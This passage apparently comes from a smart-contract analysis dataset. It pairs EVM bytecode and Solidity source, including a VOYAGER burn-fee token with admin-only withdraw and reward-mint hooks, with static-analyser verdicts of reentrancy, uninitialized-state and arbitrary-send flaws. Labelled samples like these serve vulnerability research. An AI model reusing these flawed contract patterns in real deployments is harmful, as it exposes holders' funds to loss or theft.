ffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201a95949392919061300b565b600060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207e57600090506120e0565b6000828461208c91906131ad565b905082848261209b919061317c565b146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290612f10565b60405180910390fd5b809150505b92915050565b600061212883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612188565b905092915050565b8061213e5761213d6121eb565b5b61214984848461221c565b80612157576121566123e7565b5b50505050565b600080600061216a6123f9565b9150915061218181836120e690919063ffffffff16565b9250505090565b600080831182906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612e4e565b60405180910390fd5b50600083856121de919061317c565b9050809150509392505050565b60006008541480156121ff57506000600954145b156122095761221a565b600060088190555060006009819055505b565b60008060008060008061222e8761245b565b95509550955095509550955061228c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236d8161256a565b6123778483612627565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d49190612ff0565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea00000905061242f683635c9adc5dea000006006546120e690919063ffffffff16565b82101561244e57600654683635c9adc5dea00000935093505050612457565b81819350935050505b9091565b60008060008060008060008060006124778a600854600f612661565b925092509250600061248761215d565b9050600080600061249a8e8787876126f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b600080828461251b9190613126565b905083811015612560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255790612ed0565b60405180910390fd5b8091505092915050565b600061257461215d565b9050600061258b828461206b90919063ffffffff16565b90506125df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263c826006546124c290919063ffffffff16565b6006819055506126578160075461250c90919063ffffffff16565b6007819055505050565b60008060008061268d606461267f888a61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126b760646126a9888b61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126e0826126d2858c6124c290919063ffffffff16565b6124c290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612710858961206b90919063ffffffff16565b90506000612727868961206b90919063ffffffff16565b9050600061273e878961206b90919063ffffffff16565b905060006127678261275985876124c290919063ffffffff16565b6124c290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279361278e846130a5565b613080565b905080838252602082019050828560208602820111156127b257600080fd5b60005b858110156127e257816127c888826127ec565b8452602084019350602083019250506001810190506127b5565b5050509392505050565b6000813590506127fb816136e3565b92915050565b600081519050612810816136e3565b92915050565b600082601f83011261282757600080fd5b8135612837848260208601612780565b91505092915050565b60008135905061284f816136fa565b92915050565b600081519050612864816136fa565b92915050565b60008135905061287981613711565b92915050565b60008151905061288e81613711565b92915050565b6000602082840312156128a657600080fd5b60006128b4848285016127ec565b91505092915050565b6000602082840312156128cf57600080fd5b60006128dd84828501612801565b91505092915050565b600080604083850312156128f957600080fd5b6000612907858286016127ec565b9250506020612918858286016127ec565b9150509250929050565b60008060006060848603121561293757600080fd5b6000612945868287016127ec565b9350506020612956868287016127ec565b92505060406129678682870161286a565b9150509250925092565b6000806040838503121561298457600080fd5b6000612992858286016127ec565b92505060206129a38582860161286a565b9150509250929050565b6000602082840312156129bf57600080fd5b600082013567ffffffffffffffff8111156129d957600080fd5b6129e584828501612816565b91505092915050565b600060208284031215612a0057600080fd5b6000612a0e84828501612840565b91505092915050565b600060208284031215612a2957600080fd5b6000612a3784828501612855565b91505092915050565b600060208284031215612a5257600080fd5b6000612a608482850161286a565b91505092915050565b600080600060608486031215612a7e57600080fd5b6000612a8c8682870161287f565b9350506020612a9d8682870161287f565b9250506040612aae8682870161287f565b9150509250925092565b6000612ac48383612ad0565b60208301905092915050565b612ad98161323b565b82525050565b612ae88161323b565b82525050565b6000612af9826130e1565b612b038185613104565b9350612b0e836130d1565b8060005b83811015612b3f578151612b268882612ab8565b9750612b31836130f7565b925050600181019050612b12565b5085935050505092915050565b612b558161324d565b82525050565b612b6481613290565b82525050565b6000612b75826130ec565b612b7f8185613115565b9350612b8f8185602086016132a2565b612b98816133dc565b840191505092915050565b6000612bb0602383613115565b9150612bbb826133ed565b604082019050919050565b6000612bd3602a83613115565b9150612bde8261343c565b604082019050919050565b6000612bf6602283613115565b9150612c018261348b565b604082019050919050565b6000612c19601b83613115565b9150612c24826134da565b602082019050919050565b6000612c3c601d83613115565b9150612c4782613503565b602082019050919050565b6000612c5f602183613115565b9150612c6a8261352c565b604082019050919050565b6000612c82602083613115565b9150612c8d8261357b565b602082019050919050565b6000612ca5602983613115565b9150612cb0826135a4565b604082019050919050565b6000612cc8602583613115565b9150612cd3826135f3565b604082019050919050565b6000612ceb602483613115565b9150612cf682613642565b604082019050919050565b6000612d0e601783613115565b9150612d1982613691565b602082019050919050565b6000612d31601183613115565b9150612d3c826136ba565b602082019050919050565b612d5081613279565b82525050565b612d5f81613283565b82525050565b6000602082019050612d7a6000830184612adf565b92915050565b6000604082019050612d956000830185612adf565b612da26020830184612adf565b9392505050565b6000604082019050612dbe6000830185612adf565b612dcb6020830184612d47565b9392505050565b600060c082019050612de76000830189612adf565b612df46020830188612d47565b612e016040830187612b5b565b612e0e6060830186612b5b565b612e1b6080830185612adf565b612e2860a0830184612d47565b979650505050505050565b6000602082019050612e486000830184612b4c565b92915050565b60006020820190508181036000830152612e688184612b6a565b905092915050565b60006020820190508181036000830152612e8981612ba3565b9050919050565b60006020820190508181036000830152612ea981612bc6565b9050919050565b60006020820190508181036000830152612ec981612be9565b9050919050565b60006020820190508181036000830152612ee981612c0c565b9050919050565b60006020820190508181036000830152612f0981612c2f565b9050919050565b60006020820190508181036000830152612f2981612c52565b9050919050565b60006020820190508181036000830152612f4981612c75565b9050919050565b60006020820190508181036000830152612f6981612c98565b9050919050565b60006020820190508181036000830152612f8981612cbb565b9050919050565b60006020820190508181036000830152612fa981612cde565b9050919050565b60006020820190508181036000830152612fc981612d01565b9050919050565b60006020820190508181036000830152612fe981612d24565b9050919050565b60006020820190506130056000830184612d47565b92915050565b600060a0820190506130206000830188612d47565b61302d6020830187612b5b565b818103604083015261303f8186612aee565b905061304e6060830185612adf565b61305b6080830184612d47565b9695505050505050565b600060208201905061307a6000830184612d56565b92915050565b600061308a61309b565b905061309682826132d5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c0576130bf6133ad565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313182613279565b915061313c83613279565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131715761317061334f565b5b828201905092915050565b600061318782613279565b915061319283613279565b9250826131a2576131a161337e565b5b828204905092915050565b60006131b882613279565b91506131c383613279565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fc576131fb61334f565b5b828202905092915050565b600061321282613279565b915061321d83613279565b9250828210156132305761322f61334f565b5b828203905092915050565b600061324682613259565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329b82613279565b9050919050565b60005b838110156132c05780820151818401526020810190506132a5565b838111156132cf576000848401525b50505050565b6132de826133dc565b810181811067ffffffffffffffff821117156132fd576132fc6133ad565b5b80604052505050565b600061331182613279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133445761334361334f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ec8161323b565b81146136f757600080fd5b50565b6137038161324d565b811461370e57600080fd5b50565b61371a81613279565b811461372557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ef8e2837453977a019961b81681478401d1bfde8de344dfa96b5123fdb8b3e9964736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,650 |
0x9E2e40e382D45CD80A6047231d759E5494C3aC23
|
/*
VOYAGER
(VGER)
A UniLaunchpad Project
Website: https://UniLaunch.io
Telegram: https://t.me/unilaunchpad
Twitter: https://twitter.com/UniLaunchpad
UniLaunchpad is launching a new token on Uniswap every day
4% token burn per transfer for VGER
40,000 VGER initial supply + 40 ETH
FAIR LAUNCH FEATURE - Any Buys above 250 Tokens within the first 40 Blocks(10 Minutes)
pay marginal 25% burn fee for the amount above 1000
***BONUS 1 RCKT token for every VGER token burned in transactions***
*/
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
ROCKETToken public ROCKET;
address admin;
uint burnFee = 4;
address public testSender;
address public testRecipient;
bool firstTransfer = false;
uint public firstBlock;
address public firstTx1;
address public firstTx2;
address public UniExchange;
bool public useRocket = true;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint earlyPenalty = 25; //on any tokens above 500 before the 40th block after Uniswap Launh
uint amountRec = amount;
uint amountLimit = 250e18;
uint amountBurn = 0;
testSender = sender;
testRecipient = recipient;
if(sender != admin && recipient != admin){ //this is for the initial Pool Liquidity
address _sendTo;
if(sender == UniExchange){
_sendTo = recipient;
} else {
_sendTo = sender;
}
if((block.number < firstBlock + 40) && (amount > amountLimit)){ //extra fee for large early buyers before the 40th block after Uniswap Launh
uint extraAmount = amount.sub(amountLimit);
amountBurn = amountLimit.mul(burnFee).div(100) + extraAmount.mul(earlyPenalty).div(100);
amountRec = amount.sub(amountBurn);
//transfer RCKT tokens to Buyer/Seller
if(useRocket){
ROCKET.ingress(_sendTo, amountBurn);
}
} else {
amountBurn = amount.mul(burnFee).div(100);
amountRec = amount.sub(amountBurn);
if(useRocket){
ROCKET.ingress(_sendTo, amountBurn);
}
}
}
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amountRec);
_totalSupply = _totalSupply.sub(amountBurn);
if(!firstTransfer){
firstTransfer = true;
//set First Block
firstBlock = block.number;
firstTx1 = sender;
firstTx2 = recipient;
UniExchange = recipient;
}
emit Transfer(sender, recipient, amountRec);
emit Transfer(sender, address(0), amountBurn);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _ingress(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function addBalance(address account, uint amount) internal {
require(account != address(0), "ERC20: add to the zero address");
_balances[account] = _balances[account].add(amount);
_totalSupply = _totalSupply.add(amount);
emit Transfer(address(0), account, amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal { }
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ROCKETToken is ERC20(), Ownable {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function ingress(address _to, uint256 _amount) public onlyOwner {
_ingress(_to, _amount);
}
function burn(uint256 _amount) public {
_burn(msg.sender, _amount);
}
}
contract VOYAGER is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
constructor () public ERC20Detailed("VOYAGER | UniLaunch.io", "VGER", 18) {
admin = msg.sender;
addBalance(admin,40000e18); //Initial tokens for Uniswap Liquidity Pool
ROCKET = ROCKETToken(address(0x7aD95dAE595A1D282f6E337a631cEDB6bfE6c40D));
}
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
function() external payable {
}
function withdraw() external {
require(msg.sender == admin, "!not allowed");
msg.sender.transfer(address(this).balance);
}
function getFirstBlockTime() view external returns (uint) {
return(block.number - firstBlock);
}
function setUseRocket(bool _use) external returns (uint) {
require(msg.sender == admin);
useRocket = _use;
}
function setUniExchange(address _exchange) external returns (uint) {
require(msg.sender == admin);
UniExchange = _exchange;
}
}
|
0x60806040526004361061014b5760003560e01c80636a561cb8116100b6578063a9059cbb1161006f578063a9059cbb1461047f578063af382a53146104b8578063c6217c7a146104cd578063c9d45d97146104f9578063d37acfc71461050e578063dd62ed3e146105235761014b565b80636a561cb8146103a15780636d0f3859146103b657806370a08231146103e957806395d89b411461041c578063a35d7bb914610431578063a457c2d7146104465761014b565b80632e938f25116101085780632e938f25146102b8578063313ce567146102e957806339509351146103145780633ccfd60b1461034d57806342966c68146103625780635cf9e6aa1461038c5761014b565b80630571c1a61461014d57806306fdde0314610176578063095ea7b31461020057806318160ddd14610239578063231b02681461026057806323b872dd14610275575b005b34801561015957600080fd5b5061016261055e565b604080519115158252519081900360200190f35b34801561018257600080fd5b5061018b61056e565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101c55781810151838201526020016101ad565b50505050905090810190601f1680156101f25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020c57600080fd5b506101626004803603604081101561022357600080fd5b506001600160a01b038135169060200135610604565b34801561024557600080fd5b5061024e610622565b60408051918252519081900360200190f35b34801561026c57600080fd5b5061024e610628565b34801561028157600080fd5b506101626004803603606081101561029857600080fd5b506001600160a01b0381358116916020810135909116906040013561062e565b3480156102c457600080fd5b506102cd6106bb565b604080516001600160a01b039092168252519081900360200190f35b3480156102f557600080fd5b506102fe6106ca565b6040805160ff9092168252519081900360200190f35b34801561032057600080fd5b506101626004803603604081101561033757600080fd5b506001600160a01b0381351690602001356106d3565b34801561035957600080fd5b5061014b610727565b34801561036e57600080fd5b5061014b6004803603602081101561038557600080fd5b50356107a4565b34801561039857600080fd5b506102cd6107ae565b3480156103ad57600080fd5b506102cd6107bd565b3480156103c257600080fd5b5061024e600480360360208110156103d957600080fd5b50356001600160a01b03166107cc565b3480156103f557600080fd5b5061024e6004803603602081101561040c57600080fd5b50356001600160a01b031661080a565b34801561042857600080fd5b5061018b610825565b34801561043d57600080fd5b5061024e610886565b34801561045257600080fd5b506101626004803603604081101561046957600080fd5b506001600160a01b03813516906020013561088e565b34801561048b57600080fd5b50610162600480360360408110156104a257600080fd5b506001600160a01b0381351690602001356108fc565b3480156104c457600080fd5b506102cd610910565b3480156104d957600080fd5b5061024e600480360360208110156104f057600080fd5b5035151561091f565b34801561050557600080fd5b506102cd610959565b34801561051a57600080fd5b506102cd610968565b34801561052f57600080fd5b5061024e6004803603604081101561054657600080fd5b506001600160a01b0381358116916020013516610977565b600854600160a01b900460ff1681565b600c8054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105fa5780601f106105cf576101008083540402835291602001916105fa565b820191906000526020600020905b8154815290600101906020018083116105dd57829003601f168201915b5050505050905090565b60006106186106116109a2565b84846109a6565b5060015b92915050565b600b5490565b60055481565b600061063b848484610a92565b6106b1846106476109a2565b6106ac856040518060600160405280602881526020016112d2602891396001600160a01b038a166000908152600a60205260408120906106856109a2565b6001600160a01b03168152602081019190915260400160002054919063ffffffff610ef216565b6109a6565b5060019392505050565b6006546001600160a01b031681565b600e5460ff1690565b60006106186106e06109a2565b846106ac85600a60006106f16109a2565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff610f8916565b6001546001600160a01b03163314610775576040805162461bcd60e51b815260206004820152600c60248201526b085b9bdd08185b1b1bddd95960a21b604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f193505050501580156107a1573d6000803e3d6000fd5b50565b6107a13382610fea565b6007546001600160a01b031681565b6003546001600160a01b031681565b6001546000906001600160a01b031633146107e657600080fd5b600880546001600160a01b0319166001600160a01b03939093169290921790915590565b6001600160a01b031660009081526009602052604090205490565b600d8054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105fa5780601f106105cf576101008083540402835291602001916105fa565b600554430390565b600061061861089b6109a2565b846106ac8560405180606001604052806025815260200161136460259139600a60006108c56109a2565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff610ef216565b60006106186109096109a2565b8484610a92565b6000546001600160a01b031681565b6001546000906001600160a01b0316331461093957600080fd5b60088054921515600160a01b0260ff60a01b199093169290921790915590565b6004546001600160a01b031681565b6008546001600160a01b031681565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166109eb5760405162461bcd60e51b81526004018080602001828103825260248152602001806113406024913960400191505060405180910390fd5b6001600160a01b038216610a305760405162461bcd60e51b81526004018080602001828103825260228152602001806112696022913960400191505060405180910390fd5b6001600160a01b038084166000818152600a6020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610ad75760405162461bcd60e51b815260040180806020018281038252602581526020018061131b6025913960400191505060405180910390fd5b6001600160a01b038216610b1c5760405162461bcd60e51b81526004018080602001828103825260238152602001806112246023913960400191505060405180910390fd5b600380546001600160a01b03199081166001600160a01b0386811691821790935560048054909216858416179091556001546019928492680d8d726b7177a80000926000921614801590610b7e57506001546001600160a01b03878116911614155b15610d54576008546000906001600160a01b0389811691161415610ba3575085610ba6565b50865b60055460280143108015610bb957508286115b15610ca6576000610bd0878563ffffffff6110e616565b9050610bf36064610be7838963ffffffff61112816565b9063ffffffff61118116565b610c0d6064610be76002548861112890919063ffffffff16565b019250610c20878463ffffffff6110e616565b600854909550600160a01b900460ff1615610ca0576000805460408051639fc7cb0960e01b81526001600160a01b0386811660048301526024820188905291519190921692639fc7cb09926044808201939182900301818387803b158015610c8757600080fd5b505af1158015610c9b573d6000803e3d6000fd5b505050505b50610d52565b610cc06064610be76002548961112890919063ffffffff16565b9150610cd2868363ffffffff6110e616565b600854909450600160a01b900460ff1615610d52576000805460408051639fc7cb0960e01b81526001600160a01b0385811660048301526024820187905291519190921692639fc7cb09926044808201939182900301818387803b158015610d3957600080fd5b505af1158015610d4d573d6000803e3d6000fd5b505050505b505b610d978560405180606001604052806026815260200161128b602691396001600160a01b038a16600090815260096020526040902054919063ffffffff610ef216565b6001600160a01b038089166000908152600960205260408082209390935590881681522054610dcc908463ffffffff610f8916565b6001600160a01b038716600090815260096020526040902055600b54610df8908263ffffffff6110e616565b600b55600454600160a01b900460ff16610e5d576004805460ff60a01b1916600160a01b17905543600555600680546001600160a01b03808a166001600160a01b03199283161790925560078054928916928216831790556008805490911690911790555b856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a36040805182815290516000916001600160a01b038a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350505050505050565b60008184841115610f815760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f46578181015183820152602001610f2e565b50505050905090810190601f168015610f735780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610fe3576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b03821661102f5760405162461bcd60e51b81526004018080602001828103825260218152602001806112fa6021913960400191505060405180910390fd5b61107281604051806060016040528060228152602001611247602291396001600160a01b038516600090815260096020526040902054919063ffffffff610ef216565b6001600160a01b038316600090815260096020526040902055600b5461109e908263ffffffff6110e616565b600b556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6000610fe383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ef2565b6000826111375750600061061c565b8282028284828161114457fe5b0414610fe35760405162461bcd60e51b81526004018080602001828103825260218152602001806112b16021913960400191505060405180910390fd5b6000610fe383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506000818361120d5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610f46578181015183820152602001610f2e565b50600083858161121957fe5b049594505050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820dfb640bf68a91aea8a2247c5284115bf7ddaa5557bd13e23b150552da528d11764736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 8,651 |
0x6354e548ed3d3bdb8419e2c2eba574707c87e59e
|
pragma solidity ^0.4.23;
// File: contracts/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
* @dev Based on https://github.com/OpenZeppelin/zeppelin-soliditysettable
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyValidAddress(address addr) {
require(addr != address(0));
_;
}
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () public {
owner = msg.sender;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner)
public
onlyOwner
onlyValidAddress(newOwner)
{
emit OwnershipTransferred(owner, newOwner);
